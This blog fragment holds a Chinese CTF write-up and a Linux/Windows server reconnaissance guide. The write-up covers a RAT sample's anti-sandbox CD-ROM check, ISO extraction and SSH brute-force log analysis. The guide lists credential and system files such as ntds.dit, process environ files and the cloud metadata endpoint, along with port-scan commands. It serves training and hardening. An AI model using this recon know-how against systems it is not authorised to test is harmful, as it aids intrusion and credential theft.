流量伪装） ✅ 带有调试后门（ServerDebugPasscode） ✅ 在 CD-ROM 检测后才运行（反沙箱/反虚拟机） 这是一个设计比较巧妙的远控木马！使用 MC 端口是个聪明的伪装手段 🎮\n其他注意内容 本来想直接取巧用云沙箱分析一下，结果沙箱没有跑出来网络行为。用wireshark本地监听也没有监听到这个网络行为。\nQuestion 我使用云沙箱并未检出外联地址，而且本地执行exe只是一瞬间，没有任何输出，不确定是否执行成功了。\n这是典型的恶意软件反检测行为！让我帮你分析为什么会这样，以及如何正确运行。\n为什么程序一闪而过？ 根据代码分析，程序有多个执行条件：\n关键检测点 1// 1. 检查是否从 CD-ROM 运行 2v81 = GetDriveTypeA(\u0026amp;Filename); 3if ( v81 == 5 ) // 5 = DRIVE_CDROM 4{ 5 // 只有从光驱运行才继续执行 6} 程序只在从 CD-ROM/光驱运行时才会执行恶意代码！\n这是一种反沙箱/反虚拟机技术：\n沙箱通常不会模拟光驱 云沙箱直接运行 exe，不满足条件 本地直接双击也不满足条件 Question 为什么我一开始用Windows的装载功能没有看到helper文件夹，用kali的装载也不行，只有用kali的Open with Engrampa Archive Manager 才可以\n好问题！这涉及到 ISO 文件格式和操作系统挂载机制的差异。让我解释一下：\n为什么会出现这种情况？ 1. ISO 文件格式问题 ISO 可能使用了特殊的文件系统格式：\n常见 ISO 文件系统： - ISO 9660 (标准格式) - Joliet (支持长文件名和 Unicode) - Rock Ridge (Unix 扩展) - UDF (Universal Disk Format) - 混合格式 (多种格式组合) Windows 装载的限制：\nWindows 默认只能正确识别标准 ISO 9660 和 Joliet 如果 ISO 使用了非标准格式或有损坏，可能无法正确显示所有文件 某些隐藏属性或特殊权限的文件可能不显示 Kali 挂载的限制：\n1# 默认挂载命令 2mount -o loop file.iso /mnt 3 4# 可能问题： 5# - 没有指定正确的文件系统类型 6# - 权限问题 7# - 编码问题 2. Engrampa 能看到的原因 Engrampa Archive Manager (GNOME 的归档管理器) 的优势：\n✅ 它是归档工具，不是挂载工具 ✅ 直接读取 ISO 内部结构，不依赖文件系统驱动 ✅ 可以处理多种 ISO 格式和损坏的镜像 ✅ 能显示隐藏文件和特殊属性文件 ✅ 类似 7-Zip/WinRAR 直接解析文件格式 相当于：\n挂载 = 让操作系统\u0026quot;理解\u0026quot;这是个光盘 归档工具 = 把 ISO 当成 ZIP 一样直接读取 验证 ISO 格式 在 Kali 上检查 ISO 详细信息 1# 查看 ISO 文件系统类型 2file malware.iso 3 4# 详细分析 ISO 结构 5isoinfo -d -i malware.iso 6 7# 查看文件列表 8isoinfo -l -i malware.iso 9 10# 或使用 7z 117z l malware.iso 可能的输出示例 1$ file malware.iso 2malware.iso: ISO 9660 CD-ROM filesystem data \u0026#39;LABEL\u0026#39; (bootable) 3 4$ isoinfo -d -i malware.iso 5CD-ROM is in ISO 9660 format 6System id: Win32 7Volume id: MALWARE 8... 9Rock Ridge signatures version 1 10# 如果看到 Rock Ridge，Windows 可能无法完全支持 解决方案 方案1：用归档工具提取（推荐） Windows 上： 使用 7-Zip：\n1. 右键 ISO → 7-Zip → 提取到 \u0026#34;xxx\\\u0026#34; 2. 直接得到所有文件，包括隐藏的 ⚠️ Warning 所以以后多个心眼，iso不一定要“装载”\n使用 WinRAR：\n1. 右键 ISO → 解压到当前文件夹 2. 可以看到完整内容 Linux 上： 1# 方法1：使用 7z 27z x malware.iso -o./extracted/ 3 4# 方法2：使用 Engrampa 命令行 5file-roller --extract malware.iso 6 7# 方法3：使用 bsdtar 8bsdtar -xf malware.iso -C ./extracted/ 方案2：正确挂载 ISO Kali Linux 正确挂载方式： 1# 创建挂载点 2sudo mkdir -p /mnt/iso 3 4# 尝试不同的文件系统类型 5sudo mount -o loop,ro malware.iso /mnt/iso 6 7# 如果失败，尝试指定类型 8sudo mount -o loop,ro -t iso9660 malware.iso /mnt/iso 9sudo mount -o loop,ro -t udf malware.iso /mnt/iso 10 11# 查看挂载选项 12mount | grep iso 13 14# 卸载 15sudo umount /mnt/iso Windows 高级挂载： 使用 PowerShell：\n1# 挂载 ISO 2Mount-DiskImage -ImagePath \u0026#34;C:\\path\\to\\malware.iso\u0026#34; 3 4# 获取驱动器号 5Get-DiskImage -ImagePath \u0026#34;C:\\path\\to\\malware.iso\u0026#34; | Get-Volume 6 7# 卸载 8Dismount-DiskImage -ImagePath \u0026#34;C:\\path\\to\\malware.iso\u0026#34; 使用第三方工具（更强大）：\nOSFMount (PassMark) - 免费，支持更多格式 WinCDEmu - 开源 Virtual CloneDrive 方案3：分析为什么 helper 文件夹隐藏 1# 在 Kali 上检查文件属性 27z l -slt malware.iso | grep -A 5 \u0026#34;helper\u0026#34; 3 4# 或 5isoinfo -l -i malware.iso | grep -A 5 -i helper 6 7# 查看可能的隐藏标志 8# - Rock Ridge 属性 9# - 隐藏文件标志 10# - 特殊权限 深入分析：为什么设计成这样 这可能是反取证技术：\n恶意软件作者的意图： 1. 使用特殊 ISO 格式 2. 设置 helper 文件夹为隐藏或特殊属性 3. Windows 直接挂载看不到 → 普通用户/分析师容易忽略 4. 需要用归档工具才能发现 → 增加分析难度 类似的反取证技术：\nADS (Alternate Data Streams) 长路径名 (\u0026gt;260 字符) 特殊 Unicode 字符 文件系统特性利用 实战建议 最佳实践流程： 1# 1. 先用归档工具提取所有内容 27z x malware.iso -o./full_extract/ 3 4# 2. 查看完整目录结构 5tree ./full_extract/ 6ls -laR ./full_extract/ 7 8# 3. 检查 helper 文件夹内容 9ls -la ./full_extract/helper/ 10 11# 4. 分析 exe 文件 12file ./full_extract/helper/*.exe 13strings ./full_extract/helper/*.exe 检查隐藏内容： 1# 在提取的文件夹中 2# 查找所有文件（包括隐藏） 3find ./full_extract/ -type f 4 5# 查找可执行文件 6find ./full_extract/ -type f -executable 7 8# 查找 Windows 可执行文件 9find ./full_extract/ -type f -name \u0026#34;*.exe\u0026#34; -o -name \u0026#34;*.dll\u0026#34; 10 11# 查看文件属性 12getfattr -d -m \u0026#34;.*\u0026#34; ./full_extract/helper/ 总结 你遇到的情况说明：\n✅ ISO 使用了特殊格式 - Windows/Linux 标准挂载无法完整识别 ✅ helper 文件夹有特殊属性 - 可能设置了隐藏或 Rock Ridge 扩展属性 ✅ Engrampa 能看到 - 因为它直接解析 ISO 结构，不依赖文件系统 最佳解决方案：\n1# 在 Kali 上 27z x malware.iso -o./extracted/ 3cd extracted/ 4ls -laR 5 6# 然后分析 helper 文件夹中的内容 在 Windows 上：\n用 7-Zip 提取 ISO → 查看完整内容 题目 7 任务7: 入侵排查\n任务描述： 服务器疑似遭到SSH爆破攻击，请分析系统认证日志。 提交要求： 分析 auth.log 日志，找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。 附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log\nSuccess 202.45.169.243\n我来帮你写一些命令来分析 auth.log 日志文件，找出成功爆破并登录的黑客IP地址。我为你准备了完整的SSH爆破分析命令集！\n🎯 快速找出爆破成功的IP地址 方法1：最直接的方法（推荐） 1# 找出所有成功登录的IP 2grep \u0026#39;Accepted password\u0026#39; auth.log | awk \u0026#39;{print $(NF-3)}\u0026#39; | sort -u 方法2：找出先失败多次后成功的IP（爆破特征） 1# 一行命令找出既失败过又成功登录的IP 2for ip in $(grep \u0026#39;Failed password\u0026#39; auth.log | grep -oP \u0026#39;(?\u0026lt;=from )[0-9.]+\u0026#39; | sort -u); do grep \u0026#34;Accepted password.*from $ip\u0026#34; auth.log \u0026gt; /dev/null \u0026amp;\u0026amp; echo $ip; done 方法3：详细分析（推荐） 1awk \u0026#39;/Failed password/ { 2 match($0, /from ([0-9.]+)/, arr); 3 if(arr[1]) failed[arr[1]]++ 4} 5/Accepted password/ { 6 match($0, /from ([0-9.]+)/, arr) 7 if(arr[1]) { 8 accepted[arr[1]]++ 9 if(failed[arr[1]] \u0026gt; 0) { 10 hacked[arr[1]] = failed[arr[1]] 11 } 12 } 13} 14END { 15 print \u0026#34;=== 爆破成功的IP地址 ===\u0026#34; 16 for(ip in hacked) { 17 print ip, \u0026#34;失败次数:\u0026#34;, hacked[ip], \u0026#34;成功:\u0026#34;, accepted[ip] 18 } 19}\u0026#39; auth.log 📊 分步分析 步骤1：查看所有成功登录\n1grep \u0026#39;Accepted password\u0026#39; auth.log 步骤2：统计失败登录最多的IP\n1grep \u0026#39;Failed password\u0026#39; auth.log | grep -oP \u0026#39;(?\u0026lt;=from )[0-9.]+\u0026#39; | sort | uniq -c | sort -rn | head -10 步骤3：分析特定IP的活动（替换为实际IP）\n1grep \u0026#39;192.168.1.100\u0026#39; auth.log | grep -E \u0026#39;Failed|Accepted\u0026#39; 💡 分析思路 爆破成功的特征：\n该IP有大量失败登录记录（Failed password） 该IP最终有成功登录记录（Accepted password） 通常失败次数会很多（几十到几百次） 直接运行这些命令找出答案，然后提交该IP地址！\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-11-28T10:22:04+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251128111707854.png","permalink":"/post/%E7%AC%AC%E4%BA%8C%E5%B1%8A%E5%85%A8%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%A1%8C%E4%B8%9A%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E5%88%9D%E8%B5%9B%E7%AC%AC%E4%BA%8C%E6%89%B9%E6%AC%A1-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%91%98-ctf-wp/","title":"第二届全国网络安全行业职业技能大赛初赛第二批次（渗透测试员）WP"},{"content":"Linux服务器端口和基本信息侦察指南 在渗透测试或安全评估中,了解目标服务器开放的端口和基本信息是至关重要的第一步。服务器通常不会直接展示所有开放端口和详细信息,但通过一些常见的服务和文件,攻击者可以获取这些信息。以下是服务器上常见的文件、服务和配置,它们可能直接或间接地透露开放的端口和服务器的基本信息。\n参考： 作为运维，应该掌握的 50 个 Linux 上重要的配置文件\n1. 基础系统信息文件 1.1. /etc/services 描述: 该文件包含了服务名称与端口号及协议的映射关系。虽然它不显示当前服务器实际开放的端口,但它列出了常见的服务及其默认端口,攻击者可以借此了解哪些端口通常用于哪些服务。\n路径: /etc/services 用途: 了解常见服务的默认端口,辅助端口扫描和识别 示例内容:\nhttp 80/tcp www www-http # WorldWideWeb HTTP ssh 22/tcp # SSH Remote Login Protocol ftp 21/tcp # File Transfer Protocol 1.2. /etc/hosts 描述: 该文件用于将主机名映射到IP地址,通常用于本地网络解析。虽然它不直接显示开放的端口,但可以揭示服务器上配置的主机名和内部IP地址。\n路径: /etc/hosts 用途: 了解服务器的主机名配置和内部网络结构 示例内容:\n127.0.0.1 localhost 192.168.1.10 server1.example.com 1.3. /etc/hostname 描述: 该文件包含服务器的主机名。通过查看此文件,攻击者可以了解服务器的名称,有助于进一步的侦察。\n路径: /etc/hostname 用途: 获取服务器的主机名 示例内容:\nwebserver01 1.4. /etc/resolv.conf 描述: DNS解析器配置文件。\n路径: /etc/resolv.conf 用途: 了解DNS服务器配置,可能揭示内部网络结构 2. 网络连接和端口信息 2.1. /proc/net/tcp 和 /proc/net/udp 描述: 这些文件提供了当前系统上TCP和UDP连接的状态信息,包括本地和远程地址及端口。通过解析这些文件,可以获取服务器当前活跃的连接和监听端口。\n路径: TCP: /proc/net/tcp UDP: /proc/net/udp 用途: 查看当前系统上的TCP和UDP连接及监听端口 注意: 这些文件的内容是十六进制格式的,需要一定的解析技巧。通常可以使用工具或脚本来解析这些信息。\n示例(简化):\nsl local_address rem_address st tx_queue rx_queue tr tm-\u0026gt;when retrnsmt uid timeout inode 0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 12345 1 ffff880012345678 100 0 0 10 0 local_address中的端口部分(如 1F90)需要转换为十进制(8080) 2.2. /proc/net/tcp6 和 /proc/net/udp6 描述: IPv6连接的TCP和UDP状态信息。\n路径: /proc/net/tcp6, /proc/net/udp6 用途: 查看IPv6监听端口和连接 2.3. /proc/net/unix 描述: Unix域套接字信息。\n路径: /proc/net/unix 用途: 了解本地进程间通信(IPC)使用的套接字 2.4. 运行时进程信息 路径:\n/proc/[pid]/cmdline: 进程启动命令行 /proc/[pid]/environ: 进程环境变量 用途: 查看服务启动参数和环境变量,可能包含端口绑定信息\n3. 网络配置文件 3.1. RHEL/CentOS 网络配置 描述: 网络接口配置文件。\n路径: /etc/sysconfig/network-scripts/ifcfg-* 用途: 了解网络接口配置和IP地址 3.2. Debian/Ubuntu 网络配置 描述: 网络接口配置。\n路径: /etc/network/interfaces 用途: 查看网络配置和绑定的IP地址 3.3. 网络接口系统信息 描述: 网络接口状态和配置。\n路径: /sys/class/net/*/ 用途: 查看网络接口状态和配置 4. 超级服务器配置 4.1. /etc/inetd.conf 或 /etc/xinetd.conf 描述: 这些文件配置了由 inetd或 xinetd管理的服务,这些服务在需要时启动并监听特定端口。\n路径: inetd: /etc/inetd.conf xinetd: /etc/xinetd.conf 或 /etc/xinetd.d/ 目录下的各个文件 用途: 了解由超级服务器管理的服务及其端口 5. Web服务器配置 5.1. Nginx 配置 描述: Nginx的配置文件定义了服务器监听的端口和虚拟主机配置。\n路径: 主配置: /etc/nginx/nginx.conf 站点配置: /etc/nginx/sites-enabled/ 或 /etc/nginx/conf.d/ 用途: 查看Nginx监听的端口和处理的站点 5.2. Apache 配置 描述: Apache的配置文件定义了服务器监听的端口和虚拟主机配置。\n路径: 端口配置: /etc/apache2/ports.conf 站点配置: /etc/apache2/sites-enabled/ 或 /etc/apache2/sites-available/ 用途: 查看Apache监听的端口和处理的站点 6. 数据库服务配置 6.1. MySQL/MariaDB 路径: /etc/mysql/my.cnf 或 /etc/my.cnf 用途: 查看数据库监听端口(默认3306)和绑定地址 6.2. PostgreSQL 路径: /etc/postgresql/*/main/postgresql.conf 用途: 查看PostgreSQL监听端口和地址 6.3. Redis 路径: /etc/redis/redis.conf 用途: 查看Redis监听端口(默认6379) 6.4. MongoDB 路径: /etc/mongod.conf 用途: 查看MongoDB监听端口(默认27017) 7. 其他网络服务配置 7.1. SSH 配置 路径: /etc/ssh/sshd_config 用途: 查看SSH监听端口(默认22,可能被修改) 7.2. FTP 服务 路径:\nvsftpd: /etc/vsftpd.conf ProFTPD: /etc/proftpd/proftpd.conf 用途: 查看FTP监听端口和配置\n7.3. Samba 路径: /etc/samba/smb.conf 用途: 查看SMB/CIFS共享配置 8. 防火墙配置 8.1. iptables 描述: 防火墙规则可以揭示哪些端口是开放的或被允许的。\n查看命令: iptables -L -n 配置文件路径: /etc/iptables/rules.v4 或 /etc/sysconfig/iptables(取决于发行版) 用途: 查看防火墙允许的端口和流量规则 8.2. ufw (Uncomplicated Firewall) 查看命令: ufw status 配置文件路径: /etc/ufw/ 目录下 用途: 查看防火墙允许的端口和服务 8.3. firewalld 查看命令: firewall-cmd --list-all 配置文件路径: /etc/firewalld/ 目录下 用途: 查看防火墙允许的服务和端口 9. Systemd 服务管理 9.1. Systemd 服务文件 路径: /etc/systemd/system/ /lib/systemd/system/ 用途: 查看通过systemd管理的服务及其配置,可能包含端口信息 10. 容器和虚拟化 10.1. Docker 路径:\n/etc/docker/daemon.json Docker容器信息: docker ps (如果有权限) 用途: 查看Docker端口映射和暴露的服务\n10.2. Kubernetes 配置 路径:\n~/.kube/config 服务配置: Kubernetes Service和Ingress定义 用途: 查看暴露的服务端口\n10.3. 云提供商元数据服务 访问: 通常通过 http://169.254.169.254/ 用途: 获取实例元数据,可能包含网络配置信息 11. 系统日志文件 路径:\n/var/log/syslog 或 /var/log/messages: 系统日志 /var/log/auth.log 或 /var/log/secure: 认证日志 /var/log/apache2/access.log: Apache访问日志 /var/log/nginx/access.log: Nginx访问日志 用途: 可能包含连接尝试、服务启动信息等\n12. 安全策略配置 12.1. SELinux 路径: /etc/selinux/config 查看命令: sestatus 用途: 了解安全策略,可能影响端口访问 12.2. AppArmor 路径: /etc/apparmor.d/ 用途: 了解应用程序安全配置文件 13. 定时任务 13.1. Cron 任务 路径:\n/etc/crontab /etc/cron.d/ /var/spool/cron/ 用途: 可能包含定期执行的网络服务或端口扫描脚本\n14. 应用程序特定配置 14.1. Java 应用 配置文件: application.properties 或 application.yml 14.2. Node.js 应用 配置文件: package.json, .env 文件 14.3. Python 应用 配置文件: settings.py, .env 文件 15. 如何利用这些文件和服务获取信息 15.1. 手动查看 如果有对服务器的Shell访问权限，可以直接查看上述文件，以获取端口和服务信息。示例命令：\n# 查看 /etc/services cat /etc/services 15.1.1. 查看进程 1ps aux 用途: 查看当前运行的进程,可以识别出哪些服务正在运行\n15.1.2. 查看监听端口 1sudo netstat -tuln 2# 或 3sudo ss -tuln 输出示例:\nActive Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp6 0 0 22 * LISTEN tcp6 0 0 80 * LISTEN 说明:\n0.0.0.0:22 表示SSH服务在所有接口的22端口监听 0.0.0.0:80 表示HTTP服务在所有接口的80端口监听 注意: 这些命令需要适当的权限(通常是root)才能查看所有监听端口\n15.1.3. 查看打开的文件和网络连接 1lsof -i 2# 或查看特定端口 3lsof -i :端口号 用途: 列出打开的网络连接和监听端口\n15.2. 自动化工具 使用自动化工具进行端口扫描和服务识别，可以更高效地获取服务器的开放端口和基本信息。- Nmap：强大的网络扫描工具，可以扫描目标服务器的开放端口、运行的服务及其版本。 示例命令：\nnmap -sV target_ip 说明：\n-sV：探测服务版本信息。 Netcat (nc)：可以用于手动连接和探测端口。 示例命令： nc -zv target_ip 1-1000 说明：\n-z：扫描模式，不发送数据。 -v：详细输出。 15.3. Web 服务器信息泄露 有时候，Web服务器配置不当，可能会在网页响应头、错误页面或特定URL中泄露服务器信息，包括运行的服务、版本号和开放的端口。\n常见信息泄露点：- HTTP 响应头：如 Server: Apache/2.4.41 (Ubuntu)，透露了Web服务器类型和版本。 错误页面：如404、500错误页面，可能包含服务器信息。 特定URL：如 /phpinfo.php、/admin/等，可能泄露服务器配置。 注意：这些信息通常需要通过Web请求获取，而非直接查看服务器文件。\u0026mdash;## 3. 安全建议为了防止攻击者通过上述文件和服务获取服务器的敏感信息，建议采取以下安全措施：1. 限制文件访问权限： 确保敏感配置文件（如 /etc/hosts、/etc/passwd等）的权限设置正确，避免不必要的读取权限。 隐藏或移除敏感信息： 避免在Web应用的错误页面、响应头中泄露服务器信息。 移除或禁用不必要的服务，减少攻击面。 使用防火墙： 配置防火墙（如 iptables、ufw、firewalld）仅允许必要的端口和流量，限制对管理端口（如SSH的22端口）的访问。 定期更新和打补丁： 保持服务器操作系统和软件包的最新状态，修补已知的安全漏洞。 使用安全配置： 遵循最小权限原则，仅运行必要的服务，使用强密码和密钥认证。 监控和日志审计： 实施日志监控，及时发现异常访问和潜在的攻击行为。 安全建议 最小权限原则: 限制对敏感配置文件的访问权限 定期审计: 定期检查开放的端口和运行的服务 防火墙配置: 只开放必要的端口 日志监控: 监控异常的访问尝试和配置文件访问 文件完整性监控: 使用工具(如AIDE、Tripwire)监控关键配置文件的变化 禁用不必要的服务: 关闭不需要的网络服务以减少攻击面 Windows服务器端口和基本信息侦察指南 在Windows环境中进行渗透测试或安全评估时,了解目标服务器开放的端口和基本信息同样至关重要。Windows服务器通过注册表、配置文件和各种服务来管理网络配置。以下是Windows服务器上常见的文件、注册表项和服务,它们可能直接或间接地透露开放的端口和服务器的基本信息。\n参考： 【2024/3/12 更新】Windows Server 2019 服务配置与管理汇总\n1. 系统基本信息 1.1. 主机名和网络配置 1.1.1. 计算机名称 位置:\n注册表: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName 文件: 可通过命令 hostname 获取 用途: 获取服务器的计算机名称\n1.1.2. Hosts 文件 路径: C:\\Windows\\System32\\drivers\\etc\\hosts\n用途: 了解本地DNS解析配置,可能揭示内部主机名和IP地址映射\n示例内容:\n127.0.0.1 localhost 192.168.1.10 server1.domain.local 10.0.0.50 database.internal.com 1.1.3. Networks 文件 路径: C:\\Windows\\System32\\drivers\\etc\\networks\n用途: 网络名称与网络地址的映射\n1.1.4. Services 文件 路径: C:\\Windows\\System32\\drivers\\etc\\services\n描述: 包含服务名称与端口号及协议的映射关系,类似Linux的 /etc/services\n用途: 了解常见Windows服务的默认端口\n示例内容:\nhttp 80/tcp https 443/tcp smb 445/tcp rdp 3389/tcp 2. 注册表中的网络配置 2.1. TCP/IP 配置 路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\n重要键值:\nHostname: 主机名 Domain: 域名 NameServer: DNS服务器地址 DhcpNameServer: DHCP分配的DNS服务器 用途: 查看网络配置和DNS设置\n2.2. 网络接口配置 路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{GUID}\n重要键值:\nIPAddress: 静态IP地址 SubnetMask: 子网掩码 DefaultGateway: 默认网关 DhcpIPAddress: DHCP分配的IP地址 用途: 查看每个网络接口的详细配置\n2.3. 端口代理配置 路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\n用途: 查看配置的端口转发规则\n3. Windows防火墙配置 3.1. 防火墙规则 路径:\n配置文件: C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log 注册表: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy PowerShell命令:\n1Get-NetFirewallRule | Where-Object {$_.Enabled -eq \u0026#39;True\u0026#39;} 2Get-NetFirewallPortFilter 用途: 查看防火墙允许的端口和服务\n3.2. Windows Defender 防火墙配置文件 路径: C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\n用途: VPN和远程连接配置\n4. IIS (Internet Information Services) 配置 4.1. IIS 配置文件 路径:\n主配置: C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config 站点配置: C:\\inetpub\\wwwroot\\web.config 应用程序配置: 各站点目录下的 web.config 用途: 查看IIS监听的端口、绑定的域名和虚拟目录配置\n关键配置节点:\n1\u0026lt;sites\u0026gt; 2 \u0026lt;site name=\u0026#34;Default Web Site\u0026#34; id=\u0026#34;1\u0026#34;\u0026gt; 3 \u0026lt;bindings\u0026gt; 4 \u0026lt;binding protocol=\u0026#34;http\u0026#34; bindingInformation=\u0026#34;*:80:\u0026#34; /\u0026gt; 5 \u0026lt;binding protocol=\u0026#34;https\u0026#34; bindingInformation=\u0026#34;*:443:\u0026#34; /\u0026gt; 6 \u0026lt;/bindings\u0026gt; 7 \u0026lt;/site\u0026gt; 8\u0026lt;/sites\u0026gt; 4.2. IIS 日志文件 默认路径: C:\\inetpub\\logs\\LogFiles\\\n用途: 分析访问记录、连接来源和请求模式\n5. 远程桌面服务 (RDP) 5.1. RDP 配置 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\n重要键值:\nfDenyTSConnections: 0=允许RDP连接, 1=禁用 PortNumber: RDP监听端口(默认3389) 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\n用途: 查看RDP服务是否启用及监听端口\n6. 数据库服务配置 6.1. Microsoft SQL Server 配置文件路径:\nSQL Server 2019: C:\\Program Files\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQL\\Binn\\ 配置管理器: SQL Server Configuration Manager 注册表路径: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\\n日志路径: C:\\Program Files\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQL\\Log\\\n用途: 查看SQL Server监听端口(默认1433)和实例配置\n常用命令:\n1Get-Service | Where-Object {$_.Name -like \u0026#34;*SQL*\u0026#34;} 6.2. MySQL/MariaDB (Windows版本) 配置文件:\nC:\\ProgramData\\MySQL\\MySQL Server 8.0\\my.ini C:\\Program Files\\MySQL\\MySQL Server 8.0\\my.ini 用途: 查看MySQL监听端口(默认3306)和绑定地址\n6.3. PostgreSQL (Windows版本) 配置文件: C:\\Program Files\\PostgreSQL\\[version]\\data\\postgresql.conf\n用途: 查看PostgreSQL监听端口和地址\n7. 文件共享服务 7.1. SMB/CIFS 共享 查看命令:\n1Get-SmbShare 2net share 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Shares\n用途: 查看共享文件夹配置(使用端口445)\n7.2. FTP 服务 IIS FTP配置: 包含在 applicationHost.config 中\n路径: C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config\n用途: 查看FTP站点绑定和端口(默认21)\n8. 邮件服务 8.1. Microsoft Exchange Server 安装路径: C:\\Program Files\\Microsoft\\Exchange Server\\\n配置路径:\nC:\\Program Files\\Microsoft\\Exchange Server\\V15\\ClientAccess\\ C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\ 用途: 查看Exchange监听的端口:\nSMTP: 25 POP3: 110 IMAP: 143 HTTPS (OWA): 443 8.2. SMTP 服务 IIS SMTP配置:\n元数据库: C:\\Windows\\System32\\inetsrv\\MetaBase.xml 用途: 查看SMTP中继配置和端口\n9. DNS 服务 9.1. Windows DNS Server 配置文件路径: C:\\Windows\\System32\\dns\\\n区域文件: C:\\Windows\\System32\\dns\\*.dns\n日志路径: C:\\Windows\\System32\\dns\\dns.log\n用途: 查看DNS区域配置和解析记录(默认端口53)\n10. Active Directory 相关 10.1. Active Directory 配置 数据库路径: C:\\Windows\\NTDS\\ntds.dit\n日志路径: C:\\Windows\\debug\\netlogon.log\n重要端口:\nLDAP: 389 LDAPS: 636 Global Catalog: 3268, 3269 Kerberos: 88 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters\n10.2. 组策略对象 (GPO) 路径: C:\\Windows\\SYSVOL\\domain\\Policies\\\n用途: 可能包含网络配置、防火墙规则等策略\n11. Web应用服务器 11.1. Apache (Windows版本) 配置文件:\n主配置: C:\\Apache24\\conf\\httpd.conf 虚拟主机: C:\\Apache24\\conf\\extra\\httpd-vhosts.conf 用途: 查看Apache监听的端口和虚拟主机配置\n11.2. Tomcat 配置文件: C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0\\conf\\server.xml\n用途: 查看Tomcat监听端口(默认8080, 8443)\n11.3. nginx (Windows版本) 配置文件: C:\\nginx\\conf\\nginx.conf\n用途: 查看nginx监听端口和服务器配置\n12. 应用程序配置 12.1. .NET 应用程序 配置文件:\nweb.config (Web应用) app.config (桌面应用) appsettings.json (.NET Core) 常见位置: 应用程序根目录\n用途: 可能包含数据库连接字符串、API端点等信息\n12.2. Java 应用程序 配置文件:\napplication.properties application.yml server.xml 用途: 查看应用监听端口和服务配置\n13. VPN和远程访问 13.1. RRAS (Routing and Remote Access Service) 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\RemoteAccess\n配置文件: 通过远程访问管理控制台配置\n用途: 查看VPN配置和端口:\nPPTP: 1723 L2TP: 1701 IKEv2: 500, 4500 13.2. VPN连接配置 路径: C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbk\n用途: 查看保存的VPN连接配置\n14. 系统服务和端口 14.1. 服务列表 注册表路径: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\n查看命令:\n1Get-Service 2sc query 用途: 列出所有已安装的服务,识别网络服务\n14.2. 启动程序 注册表路径:\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 文件系统路径:\nC:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ 用途: 可能包含自动启动的网络服务或后门程序\n15. 日志文件 15.1. Windows事件日志 访问方式: 事件查看器 (eventvwr.msc)\n日志位置: C:\\Windows\\System32\\winevt\\Logs\\\n重要日志:\nSecurity.evtx: 安全审计日志 System.evtx: 系统事件日志 Application.evtx: 应用程序日志 PowerShell命令:\n1Get-EventLog -LogName Security -Newest 100 2Get-WinEvent -LogName Security 用途: 分析登录尝试、服务启动、网络连接等事件\n15.2. IIS日志 路径: C:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n用途: Web访问日志,包含IP地址、请求URI、状态码等\n15.3. 防火墙日志 路径: C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log\n用途: 记录防火墙阻止或允许的连接\n16. 常用PowerShell和CMD命令 16.1. 查看网络连接和监听端口 1# 查看所有TCP连接和监听端口 2netstat -ano 3netstat -ano | findstr LISTENING 4 5# 使用PowerShell查看 6Get-NetTCPConnection 7Get-NetTCPConnection -State Listen 8 9# 查看UDP端口 10Get-NetUDPEndpoint 输出示例:\nProto Local Address Foreign Address State PID TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1000 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 